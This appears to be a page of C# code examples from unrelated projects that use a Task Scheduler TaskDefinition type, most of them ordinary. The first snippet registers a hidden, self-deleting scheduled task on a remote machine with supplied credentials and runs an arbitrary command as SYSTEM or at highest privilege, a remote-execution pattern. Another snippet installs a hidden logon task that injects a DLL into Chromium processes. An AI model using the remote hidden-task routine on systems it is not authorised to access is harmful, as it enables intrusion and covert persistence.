            Logger.Print(Logger.STATUS.INFO, "Command: " + Command);
            Logger.Print(Logger.STATUS.INFO, "Arguments: " + Args);

            // Get the task service
            try
            {
                using (TaskService taskService = new TaskService(Target, UserName, DomainName, Password))
                {
                    TaskDefinition taskDefinition = taskService.NewTask();
                    taskDefinition.RegistrationInfo.Description = TaskDescription;
                    taskDefinition.RegistrationInfo.Author      = UserName;
                    taskDefinition.Settings.Hidden                 = true;
                    taskDefinition.Settings.StartWhenAvailable     = true;
                    taskDefinition.Settings.Enabled                = true;
                    taskDefinition.Settings.DeleteExpiredTaskAfter = TimeSpan.FromSeconds(DeleteAfter);
                    Logger.Print(Logger.STATUS.INFO, "Creating new task: " + TaskName);

                    // Create a trigger that will fire the task
                    // https://docs.microsoft.com/en-us/windows/win32/taskschd/trigger-types
                    // https://github.com/dahall/TaskScheduler/blob/master/TaskService/Trigger.cs
                    taskDefinition.Actions.Add(new ExecAction(Command, Args, null));

                    taskDefinition.Settings.WakeToRun = Wakeup; // literally wakes the computer up when its due to run

                    if (taskDefinition.Settings.WakeToRun == true)
                    {
                        Logger.Print(Logger.STATUS.INFO, "WakeToRun is enabled!");
                    }

                    if (Onstartup)
                    {
                        taskDefinition.Triggers.Add(new BootTrigger());
                    }

                    DateTime RemoteServerTime = Utils.RemoteServerTime(Target, DomainName, UserName, Password);
                    DateTime StartTime        = RemoteServerTime.AddMinutes(TimeFromNow);

                    Logger.Print(Logger.STATUS.INFO, "Local Time is: " + DateTime.Now.ToString());
                    Logger.Print(Logger.STATUS.INFO, "Remote Time is: " + RemoteServerTime);
                    Logger.Print(Logger.STATUS.INFO, "Time to add is: " + TimeFromNow);
                    Logger.Print(Logger.STATUS.INFO, $"Remote start time is {TimeFromNow} minute(s) from now: " + StartTime);

                    TimeTrigger timeTrigger = new TimeTrigger();
                    timeTrigger.StartBoundary = StartTime;
                    timeTrigger.EndBoundary   = StartTime.AddSeconds(10);
                    taskDefinition.Triggers.Add(timeTrigger);
                    Logger.Print(Logger.STATUS.INFO, "Will trigger at: " + StartTime.ToString());

                    if (taskService.HighestSupportedVersion > new Version(1, 2))
                    {
                        taskDefinition.Principal.LogonType = TaskLogonType.Password; // use a password
                        taskDefinition.Principal.RunLevel  = TaskRunLevel.Highest;   // run with highest privs
                        Logger.Print(Logger.STATUS.INFO, "Running with highest privs!");
                    }

                    Logger.Print(Logger.STATUS.INFO, "Adding to root folder... ");

                    if (DiffDomain != null && DiffUser != null && DiffPassword != null)
                    {
                        Logger.Print(Logger.STATUS.INFO, "Registering as: " + DiffDomain + "\\" + DiffUser);
                        taskDefinition.Principal.LogonType = TaskLogonType.ServiceAccount;
                        taskService.RootFolder.RegisterTaskDefinition
                        (
                            TaskName,
                            taskDefinition,
                            TaskCreation.CreateOrUpdate,
                            DiffDomain + "\\" + DiffUser,
                            DiffPassword,
                            TaskLogonType.Password
                        );
                        return(true);
                    }

                    if (RunAsSystem)
                    {
                        try
                        {
                            Logger.Print(Logger.STATUS.INFO, "Registering as NT AUTHORITY\\SYSTEM");
                            taskDefinition.Principal.LogonType = TaskLogonType.ServiceAccount;
                            taskService.RootFolder.RegisterTaskDefinition
                            (
                                TaskName,
                                taskDefinition,
                                TaskCreation.CreateOrUpdate,
                                "SYSTEM",
                                null,
                                TaskLogonType.ServiceAccount
                            );
                            return(true);
                        }
                        catch (Exception e)
                        {
                            Logger.Print(Logger.STATUS.ERROR, e.Message);
                            return(false);
                        }
                    }
                    else
                    {
                        taskService.RootFolder.RegisterTaskDefinition
                        (
                            TaskName,
                            taskDefinition,
                            TaskCreation.Create,
                            DomainName + "\\" + UserName,
                            Password,
                            TaskLogonType.Password
                        );
                        return(true);
                    }
                }
            }
            catch (Exception e)
            {
                Logger.Print(Logger.STATUS.ERROR, e.Message);
                return(false);
            }
        }
Beispiel #23
0
        public void SetMyHutTask(DateTime startDate)
        {
            utils.Log(NLog.LogLevel.Debug, string.Format("Schedule next task {0} at {1}", TaskName, startDate.ToString("yyyy-MM-dd HH:mm")));

            TaskService ts = new TaskService();
            TaskFolder  tf = ts.GetFolder(TaskFolder);

            if (tf == null)
            {
                tf = ts.RootFolder.CreateFolder(TaskFolder);
            }

            Task task = GetTask();

            TaskDefinition def = null;

            if (task == null)
            {
                utils.Log(NLog.LogLevel.Warn, string.Format("Crie uma task com o nome '{0}' na pasta '{1}' no Task Scheduler.", TaskName, TaskFolder));
                def = ts.NewTask();
            }
            else
            {
                def = task.Definition;
            }

            try
            {
                DeleteTriggers(def);
                DeleteActions(def);

                ExecAction action = new ExecAction();
                action.Path             = Assembly.GetExecutingAssembly().Location;
                action.Arguments        = ConfigFile;
                action.WorkingDirectory = Directory;
                def.Actions.Add(action);

                TimeTrigger trigger = new TimeTrigger(startDate);
                trigger.Enabled = true;
                def.Triggers.Add(trigger);

                def.Principal.LogonType = TaskLogonType.ServiceAccount;
                def.Principal.UserId    = "SYSTEM";
                def.Principal.RunLevel  = TaskRunLevel.LUA;

                def.Settings.DisallowStartIfOnBatteries = true;
                def.Settings.StopIfGoingOnBatteries     = true;
                def.Settings.AllowHardTerminate         = true;
                def.Settings.StartWhenAvailable         = false;
                def.Settings.RunOnlyIfNetworkAvailable  = false;
                def.Settings.IdleSettings.StopOnIdleEnd = true;
                def.Settings.IdleSettings.RestartOnIdle = false;
                def.Settings.AllowDemandStart           = true;
                def.Settings.Enabled       = true;
                def.Settings.Hidden        = false;
                def.Settings.RunOnlyIfIdle = false;
                def.Settings.WakeToRun     = true;

                // Este ação requere direitos de Administrador. Executar a aplicação com "Run as Administrator".
                tf.RegisterTaskDefinition(TaskName, def);
            }
            catch (Exception ex)
            {
                utils.Log(NLog.LogLevel.Error, string.Format("ERROR scheduling next MyHut Task {0} - {1}", def.XmlText, ex.Message));
                throw (ex);
            }
        }
Beispiel #24
0
        public Response Put(string taskType, string taskName)
        {
            CheckMinerOwnerShip();

            var request = new TaskUpdateRequest(this);
            var specific = request.GetRequestType() as TaskCancelationRequest;
            var hasTaskType = !string.IsNullOrEmpty(taskType);
            var hasTaskName = !string.IsNullOrEmpty(taskName);

            if (specific == null)
            {
                throw new Exception("Unsupported task update request.");
            }

            var definition = new TaskDefinition
                {
                    DefaultTemplate = DefaultTemplate
                };

            if (!hasTaskType && !hasTaskName)
            {
                return this.CancelAll(null);
            }
            else if (hasTaskType && !hasTaskName)
            {
                definition.Launcher = this.GetTaskLauncher(taskType);

                return this.CancelAll(definition);
            }
            else if (hasTaskType && hasTaskName)
            {
                definition.Launcher = this.GetTaskLauncher(taskType);
                definition.TaskName = taskName;

                return this.CancelTask(definition);
            }
            else // if (!hasTaskType && hasTaskName)
            {
                throw new Exception();
            }
        }
 public Dev2TaskDefinition(ITaskServiceConvertorFactory taskServiceConvertorFactory,
                           TaskDefinition taskDefinition)
 {
     _taskServiceConvertorFactory = taskServiceConvertorFactory;
     _taskDefinition = taskDefinition;
 }
Beispiel #26
0
        private string TaskFullName(string defaultAssembly, string defaultNamesace, TaskDefinition taskDefinition)
        {
            var key = $"{GetAssembly(defaultAssembly, taskDefinition.Assembly)}::{GetNamespace(defaultNamesace,taskDefinition.Namespace)}.{taskDefinition.Class}";

            return(key);
        }
 /// <summary>
 /// Initializes a new instance of the <see cref="TaskOptionsEditor"/> class.
 /// </summary>
 /// <param name="service">A <see cref="TaskService"/> instance.</param>
 /// <param name="td">An optional <see cref="TaskDefinition"/>. Leaving null creates a new task.</param>
 /// <param name="editable">If set to <c>true</c> the task will be editable in the dialog.</param>
 /// <param name="registerOnAccept">If set to <c>true</c> the task will be registered when OK is pressed.</param>
 public TaskOptionsEditor(TaskService service, TaskDefinition td = null, bool editable = true, bool registerOnAccept = true) : this()
 {
     Editable = editable;
     Initialize(service, td);
     RegisterTaskOnAccept = registerOnAccept;
 }
Beispiel #28
0
        /// <summary>
        /// create new task and intialize it
        /// </summary>
        /// <param name="defaultAssembly"></param>
        /// <param name="defaultNamespace"></param>
        /// <param name="taskDef"></param>
        /// <param name="token"></param>
        private void CreateNewTask(string defaultAssembly, string defaultNamespace, TaskDefinition taskDef, CancellationToken token)
        {
            var fullName = TaskFullName(defaultAssembly, defaultNamespace, taskDef);

            if (_initializedTasks.ContainsKey(fullName))
            {
                return;
            }

            LogInfo($"Start create task - {fullName}");

            var assembly   = GetAssembly(defaultAssembly, taskDef.Assembly);
            var assemblies = AppDomain.CurrentDomain.GetAssemblies()
                             .Where(a => a.FullName.ToLower()
                                    .StartsWith(assembly.ToLower()))
                             .ToList();

            if (assemblies.Count == 0)
            {
                var asm = AppDomain.CurrentDomain.Load(assembly);
                if (asm == null)
                {
                    throw new Exception($"for '{assembly}': Unable to load {assembly}.dll");
                }
                assemblies.Add(asm);
            }

            object instance      = null;
            var    nmespace      = GetNamespace(defaultNamespace, taskDef.Namespace);
            var    fullClassName = string.Format("{0}.{1}", nmespace, taskDef.Class);

            foreach (var asm in assemblies.OrderBy(a => a.FullName))
            {
                Type type = asm.GetType(fullClassName);
                if (type != null)
                {
                    instance = Activator.CreateInstance(type);
                    break;
                }
            }
            if (instance == null)
            {
                throw new Exception($"Unable to create instance of {fullName}");
            }

            var newTask = (WebJobTask)instance;

            newTask.Logger           = _loggerFactory.CreateLogger <WebJobTask>();
            newTask.LoggerFactory    = _loggerFactory;
            newTask.TaskName         = fullName;
            newTask.RunAfterMidnight = taskDef.RunAfterMidnight;
            newTask.NextRun          = DateTime.UtcNow.AddMinutes(newTask.RunAfterMidnight);
            newTask.Period           = taskDef.Period;
            newTask.Timeout          = taskDef.Timeout;
            newTask.InstanceId       = this.InstanceId;

            newTask.InitTask(token, _serviceProvider);

            _initializedTasks.Add(fullName, newTask);

            LogInfo($"End create task - {fullName}");
        }
        public bool Install(WriteToLog log, List <int> disabledGroups)
        {
            using (TaskService ts = new TaskService()) {
                foreach (Task task in ts.RootFolder.Tasks)
                {
                    if (task.Name.Equals("ChromeDllInjector"))
                    {
                        if (task.State == TaskState.Running)
                        {
                            task.Stop();
                        }
                    }
                }
            }
            SendNotifyMessage(new IntPtr(0xFFFF), 0x0, UIntPtr.Zero, IntPtr.Zero); // HWND_BROADCAST a WM_NULL to make sure every injected dll unloads
            Thread.Sleep(1000);                                                    // Give Windows some time to unload all patch dlls

            using (RegistryKey dllPathKeys = OpenExesKey()) {
                foreach (string valueName in dllPathKeys.GetValueNames())
                {
                    if (valueName.Length > 0)
                    {
                        dllPathKeys.DeleteValue(valueName);
                    }
                }
                log("Cleared ChromeExes registry");

                int i = 0;
                foreach (InstallationPaths paths in this.installationPaths)
                {
                    string appDir = Path.GetDirectoryName(paths.ChromeExePath !) !;

                    // Write patch data info file
                    byte[] patchData = GetPatchFileBinary(paths, disabledGroups);
                    File.WriteAllBytes(Path.Combine(appDir, "ChromePatches.bin"), patchData);
                    log("Wrote patch file to " + appDir);

                    // Add chrome dll to the registry key
                    dllPathKeys.SetValue(i.ToString(), paths.ChromeExePath !);
                    i++;
                    log("Appended " + paths.ChromeDllPath + " to the registry key");
                }
            }

            // Write the injector to "Program Files"
            DirectoryInfo programsFolder = GetProgramsFolder();
            string        patcherDllPath = Path.Combine(programsFolder.FullName, "ChromePatcherDll_" + Installation.GetUnixTime() + ".dll");      // Unique dll to prevent file locks

            if (!programsFolder.Exists)
            {
                Directory.CreateDirectory(programsFolder.FullName);                 // Also creates all subdirectories
            }

            using (ZipArchive zip = new ZipArchive(new MemoryStream(Properties.Resources.ChromeDllInjector), ZipArchiveMode.Read)) {
                foreach (ZipArchiveEntry entry in zip.Entries)
                {
                    string combinedPath = Path.Combine(programsFolder.FullName, entry.FullName);
                    new FileInfo(combinedPath).Directory?.Create();                     // Create the necessary folders that contain the file

                    using Stream entryStream     = entry.Open();
                    using FileStream writeStream = File.OpenWrite(combinedPath);
                    entryStream.CopyTo(writeStream);
                }
            }
            log("Extracted injector zip");

            TryDeletePatcherDlls(programsFolder);
            File.WriteAllBytes(patcherDllPath, Properties.Resources.ChromePatcherDll);
            log("Wrote patcher dll to " + patcherDllPath);

            using (TaskService ts = new TaskService()) {
                TaskDefinition task = ts.NewTask();

                task.RegistrationInfo.Author      = "Ceiridge";
                task.RegistrationInfo.Description = "A logon task that automatically injects the ChromePatcher.dll into every Chromium process that the user installed the patcher on. This makes removing the Developer Mode Extension Warning possible.";
                task.RegistrationInfo.URI         = "https://github.com/Ceiridge/Chrome-Developer-Mode-Extension-Warning-Patcher";

                task.Triggers.Add(new LogonTrigger {
                });
                task.Actions.Add(new ExecAction(Path.Combine(programsFolder.FullName, "ChromeDllInjector.exe")));

                task.Principal.RunLevel  = TaskRunLevel.Highest;
                task.Principal.LogonType = TaskLogonType.InteractiveToken;

                task.Settings.StopIfGoingOnBatteries = task.Settings.DisallowStartIfOnBatteries = false;
                task.Settings.RestartCount           = 3;
                task.Settings.RestartInterval        = new TimeSpan(0, 1, 0);
                task.Settings.Hidden             = true;
                task.Settings.ExecutionTimeLimit = task.Settings.DeleteExpiredTaskAfter = TimeSpan.Zero;

                Task tsk = ts.RootFolder.RegisterTaskDefinition("ChromeDllInjector", task, TaskCreation.CreateOrUpdate, WindowsIdentity.GetCurrent().Name, null, TaskLogonType.InteractiveToken);

                if (tsk.State != TaskState.Running)
                {
                    tsk.Run();
                }
                log("Created and started task");
            }

            log("Patches installed!");
            return(true);
        }
Beispiel #30
0
 public void OnBlockEnded(IPipelineBlock block, int itemNumber, object item, ITaskStep step, TaskDefinition task, TimeSpan duration)
 {
     BlockEnded?.Invoke(new BlockEndedEvent
     {
         Block      = block,
         ItemNumber = itemNumber,
         Item       = item,
         Step       = step,
         Task       = task,
         Duration   = duration,
         Timestamp  = DateTimeUtils.Now
     });
 }
Beispiel #31
0
 protected bool IsCompleted(TaskDefinition td)
 {
     return(CompletedTasks.Contains(td));
 }
Beispiel #32
0
 public void OnPipelineEnded(TimeSpan totalInputMaterializationDuration, IReadOnlyDictionary <string, TimeSpan> totalBlockDurations, ITaskStep step, TaskDefinition task)
 {
     PipelineEnded?.Invoke(new PipelineEndedEvent
     {
         TotalInputMaterializationDuration = totalInputMaterializationDuration,
         TotalBlockDurations = totalBlockDurations,
         Step      = step,
         Task      = task,
         Timestamp = DateTimeUtils.Now
     });
 }
Beispiel #33
0
    private async Task <ResultVoid <TaskConfigError> > CheckTargetExe(TaskConfig config, TaskDefinition definition)
    {
        if (config.Task.TargetExe == null)
        {
            if (definition.Features.Contains(TaskFeature.TargetExe))
            {
                return(ResultVoid <TaskConfigError> .Error(new TaskConfigError("missing target_exe")));
            }

            if (definition.Features.Contains(TaskFeature.TargetExeOptional))
            {
                return(ResultVoid <TaskConfigError> .Ok());
            }
            return(ResultVoid <TaskConfigError> .Ok());
        }

        // User-submitted paths must be relative to the setup directory that contains them.
        // They also must be normalized, and exclude special filesystem path elements.
        //
        // For example, accessing the blob store path "./foo" generates an exception, but
        // "foo" and "foo/bar" do not.

        if (!IsValidBlobName(config.Task.TargetExe))
        {
            return(ResultVoid <TaskConfigError> .Error(new TaskConfigError("target_exe must be a canonicalized relative path")));
        }


        var container = config.Containers !.FirstOrDefault(x => x.Type == ContainerType.Setup);

        if (container != null)
        {
            if (!await _containers.BlobExists(container.Name, config.Task.TargetExe, StorageType.Corpus))
            {
                var err =
                    $"target_exe `{config.Task.TargetExe}` does not exist in the setup container `{container.Name}`";

                _logTracer.Warning(err);
            }
        }

        return(ResultVoid <TaskConfigError> .Ok());
    }
Beispiel #34
0
 public void OnStepProgressed(float progress, TimeSpan durationSoFar, ITaskStep step, TaskDefinition task)
 {
     _stepProgressed?.Invoke(new StepProgressedEvent
     {
         Progress      = progress,
         DurationSoFar = durationSoFar,
         Step          = step,
         Task          = task,
         Timestamp     = DateTimeUtils.Now
     });
 }
Beispiel #35
0
        private async Task <List <JobInfo> > ConvertToJobMessagesAsync(YamlContracts.Process process, string repoDirectory, CancellationToken token)
        {
            // Collect info about the repo.
            string repoName = Path.GetFileName(repoDirectory);
            string userName = await GitAsync("config --get user.name", token);

            string userEmail = await GitAsync("config --get user.email", token);

            string branch = await GitAsync("symbolic-ref HEAD", token);

            string commit = await GitAsync("rev-parse HEAD", token);

            string commitAuthorName = await GitAsync("show --format=%an --no-patch HEAD", token);

            string commitSubject = await GitAsync("show --format=%s --no-patch HEAD", token);

            var jobs      = new List <JobInfo>();
            int requestId = 1;

            foreach (Phase phase in process.Phases ?? new List <IPhase>(0))
            {
                IDictionary <string, IDictionary <string, string> > matrix;
                var queueTarget = phase.Target as QueueTarget;
                if (queueTarget?.Matrix != null && queueTarget.Matrix.Count > 0)
                {
                    // Get the matrix.
                    matrix = queueTarget.Matrix;
                }
                else
                {
                    // Create the default matrix.
                    matrix = new Dictionary <string, IDictionary <string, string> >(1);
                    matrix[string.Empty] = new Dictionary <string, string>(0);
                }

                foreach (string jobName in matrix.Keys)
                {
                    var builder = new StringBuilder();
                    builder.Append($@"{{
  ""tasks"": [");
                    var steps = new List <ISimpleStep>();
                    foreach (IStep step in phase.Steps ?? new List <IStep>(0))
                    {
                        if (step is ISimpleStep)
                        {
                            steps.Add(step as ISimpleStep);
                        }
                        else
                        {
                            var stepGroup = step as StepGroup;
                            foreach (ISimpleStep nestedStep in stepGroup.Steps ?? new List <ISimpleStep>(0))
                            {
                                steps.Add(nestedStep);
                            }
                        }
                    }

                    bool firstStep = true;
                    foreach (ISimpleStep step in steps)
                    {
                        if (!(step is TaskStep))
                        {
                            throw new Exception("Unable to run step type: " + step.GetType().FullName);
                        }

                        var task = step as TaskStep;
                        if (!task.Enabled)
                        {
                            continue;
                        }

                        // Sanity check - the pipeline parser should have already validated version is an int.
                        int taskVersion;
                        if (!int.TryParse(task.Reference.Version, NumberStyles.None, CultureInfo.InvariantCulture, out taskVersion))
                        {
                            throw new Exception($"Unexpected task version format. Expected an unsigned integer with no formatting. Actual: '{taskVersion}'");
                        }

                        TaskDefinition definition = await _taskStore.GetTaskAsync(
                            name : task.Reference.Name,
                            version : taskVersion,
                            token : token);

                        await _taskStore.EnsureCachedAsync(definition, token);

                        if (!firstStep)
                        {
                            builder.Append(",");
                        }

                        firstStep = false;
                        builder.Append($@"
    {{
      ""instanceId"": ""{Guid.NewGuid()}"",
      ""displayName"": {JsonConvert.ToString(!string.IsNullOrEmpty(task.Name) ? task.Name : definition.InstanceNameFormat)},
      ""enabled"": true,
      ""continueOnError"": {task.ContinueOnError.ToString().ToLowerInvariant()},
      ""condition"": {JsonConvert.ToString(task.Condition)},
      ""alwaysRun"": false,
      ""timeoutInMinutes"": {task.TimeoutInMinutes.ToString(CultureInfo.InvariantCulture)},
      ""id"": ""{definition.Id}"",
      ""name"": {JsonConvert.ToString(definition.Name)},
      ""version"": {JsonConvert.ToString(definition.Version.ToString())},
      ""inputs"": {{");
                        bool firstInput = true;
                        foreach (KeyValuePair <string, string> input in task.Inputs ?? new Dictionary <string, string>(0))
                        {
                            if (!firstInput)
                            {
                                builder.Append(",");
                            }

                            firstInput = false;
                            builder.Append($@"
        {JsonConvert.ToString(input.Key)}: {JsonConvert.ToString(input.Value)}");
                        }

                        builder.Append($@"
      }},
      ""environment"": {{");
                        bool firstEnv = true;
                        foreach (KeyValuePair <string, string> env in task.Environment ?? new Dictionary <string, string>(0))
                        {
                            if (!firstEnv)
                            {
                                builder.Append(",");
                            }

                            firstEnv = false;
                            builder.Append($@"
        {JsonConvert.ToString(env.Key)}: {JsonConvert.ToString(env.Value)}");
                        }
                        builder.Append($@"
      }}
    }}");
                    }

                    builder.Append($@"
  ],
  ""requestId"": {requestId++},
  ""lockToken"": ""00000000-0000-0000-0000-000000000000"",
  ""lockedUntil"": ""0001-01-01T00:00:00"",
  ""messageType"": ""JobRequest"",
  ""plan"": {{
    ""scopeIdentifier"": ""00000000-0000-0000-0000-000000000000"",
    ""planType"": ""Build"",
    ""version"": 8,
    ""planId"": ""00000000-0000-0000-0000-000000000000"",
    ""artifactUri"": ""vstfs:///Build/Build/1234"",
    ""artifactLocation"": null
  }},
  ""timeline"": {{
    ""id"": ""00000000-0000-0000-0000-000000000000"",
    ""changeId"": 1,
    ""location"": null
  }},
  ""jobId"": ""{Guid.NewGuid()}"",
  ""jobName"": {JsonConvert.ToString(!string.IsNullOrEmpty(phase.Name) ? phase.Name : "Build")},
  ""environment"": {{
    ""endpoints"": [
      {{
        ""data"": {{
          ""repositoryId"": ""00000000-0000-0000-0000-000000000000"",
          ""localDirectory"": {JsonConvert.ToString(repoDirectory)},
          ""clean"": ""false"",
          ""checkoutSubmodules"": ""False"",
          ""onpremtfsgit"": ""False"",
          ""fetchDepth"": ""0"",
          ""gitLfsSupport"": ""false"",
          ""skipSyncSource"": ""false"",
          ""cleanOptions"": ""0""
        }},
        ""name"": {JsonConvert.ToString(repoName)},
        ""type"": ""LocalRun"",
        ""url"": ""https://127.0.0.1/vsts-agent-local-runner?directory={Uri.EscapeDataString(repoDirectory)}"",
        ""authorization"": {{
          ""parameters"": {{
            ""AccessToken"": ""dummy-access-token""
          }},
          ""scheme"": ""OAuth""
        }},
        ""isReady"": false
      }}
    ],
    ""mask"": [
      {{
        ""type"": ""regex"",
        ""value"": ""dummy-access-token""
      }}
    ],
    ""variables"": {{");
                    builder.Append($@"
      ""system"": ""build"",
      ""system.collectionId"": ""00000000-0000-0000-0000-000000000000"",
      ""system.culture"": ""en-US"",
      ""system.definitionId"": ""55"",
      ""system.isScheduled"": ""False"",
      ""system.hosttype"": ""build"",
      ""system.jobId"": ""00000000-0000-0000-0000-000000000000"",
      ""system.planId"": ""00000000-0000-0000-0000-000000000000"",
      ""system.timelineId"": ""00000000-0000-0000-0000-000000000000"",
      ""system.taskDefinitionsUri"": ""https://127.0.0.1/vsts-agent-local-runner"",
      ""system.teamFoundationCollectionUri"": ""https://127.0.0.1/vsts-agent-local-runner"",
      ""system.teamProject"": {JsonConvert.ToString(repoName)},
      ""system.teamProjectId"": ""00000000-0000-0000-0000-000000000000"",
      ""build.buildId"": ""1863"",
      ""build.buildNumber"": ""1863"",
      ""build.buildUri"": ""vstfs:///Build/Build/1863"",
      ""build.clean"": """",
      ""build.definitionName"": ""My Build Definition Name"",
      ""build.definitionVersion"": ""1"",
      ""build.queuedBy"": {JsonConvert.ToString(userName)},
      ""build.queuedById"": ""00000000-0000-0000-0000-000000000000"",
      ""build.requestedFor"": {JsonConvert.ToString(userName)},
      ""build.requestedForEmail"": {JsonConvert.ToString(userEmail)},
      ""build.requestedForId"": ""00000000-0000-0000-0000-000000000000"",
      ""build.repository.uri"": ""https://127.0.0.1/vsts-agent-local-runner/_git/{Uri.EscapeDataString(repoName)}"",
      ""build.sourceBranch"": {JsonConvert.ToString(branch)},
      ""build.sourceBranchName"": {JsonConvert.ToString(branch.Split('/').Last())},
      ""build.sourceVersion"": {JsonConvert.ToString(commit)},
      ""build.sourceVersionAuthor"": {JsonConvert.ToString(commitAuthorName)},
      ""build.sourceVersionMessage"": {JsonConvert.ToString(commitSubject)},
      ""AZURE_HTTP_USER_AGENT"": ""VSTS_00000000-0000-0000-0000-000000000000_build_55_1863"",
      ""MSDEPLOY_HTTP_USER_AGENT"": ""VSTS_00000000-0000-0000-0000-000000000000_build_55_1863""");
                    foreach (Variable variable in phase.Variables ?? new List <IVariable>(0))
                    {
                        builder.Append($@",
      {JsonConvert.ToString(variable.Name ?? string.Empty)}: {JsonConvert.ToString(variable.Value ?? string.Empty)}");
                    }

                    foreach (KeyValuePair <string, string> variable in matrix[jobName])
                    {
                        builder.Append($@",
      {JsonConvert.ToString(variable.Key ?? string.Empty)}: {JsonConvert.ToString(variable.Value ?? string.Empty)}");
                    }

                    builder.Append($@"
    }},
    ""systemConnection"": {{
      ""data"": {{
        ""ServerId"": ""00000000-0000-0000-0000-000000000000"",
        ""ServerName"": ""127.0.0.1""
      }},
      ""name"": ""SystemVssConnection"",
      ""url"": ""https://127.0.0.1/vsts-agent-local-runner"",
      ""authorization"": {{
        ""parameters"": {{
          ""AccessToken"": ""dummy-access-token""
        }},
        ""scheme"": ""OAuth""
      }},
      ""isReady"": false
    }}
  }}
}}");
                    string message = builder.ToString();
                    try
                    {
                        jobs.Add(new JobInfo(phase, jobName, message));
                    }
                    catch
                    {
                        Dump("Job message JSON", message);
                        throw;
                    }
                }
            }

            return(jobs);
        }
Beispiel #36
0
        /// <summary>
        ///   Registers (creates) a task in a specified location using a <see cref="TaskDefinition" /> instance to define a task.
        /// </summary>
        /// <param name="Path"> The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path. </param>
        /// <param name="definition"> The <see cref="TaskDefinition" /> of the registered task. </param>
        /// <param name="createType"> A union of <see cref="TaskCreation" /> flags. </param>
        /// <param name="UserId"> The user credentials used to register the task. </param>
        /// <param name="password"> The password for the userId used to register the task. </param>
        /// <param name="LogonType"> A <see cref="TaskLogonType" /> value that defines what logon technique is used to run the registered task. </param>
        /// <param name="sddl"> The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task. </param>
        /// <returns> A <see cref="Task" /> instance that represents the new task. </returns>
        public Task RegisterTaskDefinition(string Path, TaskDefinition definition, TaskCreation createType, string UserId,
            string password = null, TaskLogonType LogonType = TaskLogonType.S4U, string sddl = null)
        {
            if (v2Folder != null) {
                return new Task(TaskService,
                    v2Folder.RegisterTaskDefinition(Path, definition.v2Def, (int) createType, UserId, password, LogonType, sddl));
            }

            // Adds ability to set a password for a V1 task. Provided by Arcao.
            var flags = definition.v1Task.GetFlags();
            if (LogonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password)) {
                LogonType = TaskLogonType.InteractiveToken;
            }
            switch (LogonType) {
                case TaskLogonType.Group:
                case TaskLogonType.S4U:
                case TaskLogonType.None:
                    throw new NotV1SupportedException("This LogonType is not supported on Task Scheduler 1.0.");
                case TaskLogonType.InteractiveToken:
                    flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);
                    if (String.IsNullOrEmpty(UserId)) {
                        UserId = WindowsIdentity.GetCurrent().Name;
                    }
                    definition.v1Task.SetAccountInformation(UserId, IntPtr.Zero);
                    break;
                case TaskLogonType.ServiceAccount:
                    flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);
                    definition.v1Task.SetAccountInformation(
                        (String.IsNullOrEmpty(UserId) || UserId.Equals("SYSTEM", StringComparison.CurrentCultureIgnoreCase))
                            ? String.Empty
                            : UserId, IntPtr.Zero);
                    break;
                case TaskLogonType.InteractiveTokenOrPassword:
                    flags |= TaskFlags.Interactive;
                    using (var cpwd = new CoTaskMemString(password)) {
                        definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                    }
                    break;
                case TaskLogonType.Password:
                    using (var cpwd = new CoTaskMemString(password)) {
                        definition.v1Task.SetAccountInformation(UserId, cpwd.DangerousGetHandle());
                    }
                    break;
                default:
                    break;
            }
            definition.v1Task.SetFlags(flags);

            switch (createType) {
                case TaskCreation.Create:
                case TaskCreation.CreateOrUpdate:
                case TaskCreation.Disable:
                case TaskCreation.Update:
                    if (createType == TaskCreation.Disable) {
                        definition.Settings.Enabled = false;
                    }
                    definition.V1Save(Path);
                    break;
                case TaskCreation.DontAddPrincipalAce:
                    throw new NotV1SupportedException("Security settings are not available on Task Scheduler 1.0.");
                case TaskCreation.IgnoreRegistrationTriggers:
                    throw new NotV1SupportedException("Registration triggers are not available on Task Scheduler 1.0.");
                case TaskCreation.ValidateOnly:
                    throw new NotV1SupportedException("Xml validation not available on Task Scheduler 1.0.");
                default:
                    break;
            }
            return new Task(TaskService, definition.v1Task);
        }
Beispiel #37
0
            public bool TestCached(string name, int version, CancellationToken token)
            {
                TaskDefinition localTask = GetLocalTask(name, version, require: false, token: token);

                return(localTask != null);
            }
Beispiel #38
0
        public Control_Settings()
        {
            InitializeComponent();

            this.tabMain.DataContext = Global.Configuration;

            if (runRegistryPath.GetValue("Aurora") != null)
            {
                runRegistryPath.DeleteValue("Aurora");
            }

            try
            {
                using (TaskService service = new TaskService())
                {
                    Microsoft.Win32.TaskScheduler.Task task = service.FindTask(StartupTaskID);
                    if (task != null)
                    {
                        TaskDefinition definition = task.Definition;
                        //Update path of startup task
                        string exePath = System.Reflection.Assembly.GetExecutingAssembly().Location;
                        definition.Actions.Clear();
                        definition.Actions.Add(new ExecAction(exePath, "-silent", Path.GetDirectoryName(exePath)));
                        service.RootFolder.RegisterTaskDefinition(StartupTaskID, definition);
                        this.run_at_win_startup.IsChecked = task.Enabled;
                        startDelayAmount.Value            = task.Definition.Triggers.FirstOrDefault(t => t.TriggerType == TaskTriggerType.Logon) is LogonTrigger trigger ? (int)trigger.Delay.TotalSeconds : 0;
                    }
                    else
                    {
                        TaskDefinition td = service.NewTask();
                        td.RegistrationInfo.Description = "Start Aurora on Startup";

                        td.Triggers.Add(new LogonTrigger {
                            Enabled = true
                        });

                        string exePath = System.Reflection.Assembly.GetExecutingAssembly().Location;

                        td.Actions.Add(new ExecAction(exePath, "-silent", Path.GetDirectoryName(exePath)));

                        td.Principal.RunLevel = TaskRunLevel.Highest;
                        td.Settings.DisallowStartIfOnBatteries      = false;
                        td.Settings.DisallowStartOnRemoteAppSession = false;
                        td.Settings.ExecutionTimeLimit = TimeSpan.Zero;

                        service.RootFolder.RegisterTaskDefinition(StartupTaskID, td);
                        this.run_at_win_startup.IsChecked = true;
                    }
                }
            }
            catch (Exception exc)
            {
                Global.logger.Error("Error caught when updating startup task. Error: " + exc.ToString());
            }

            string v = FileVersionInfo.GetVersionInfo(System.Reflection.Assembly.GetExecutingAssembly().Location).FileVersion;

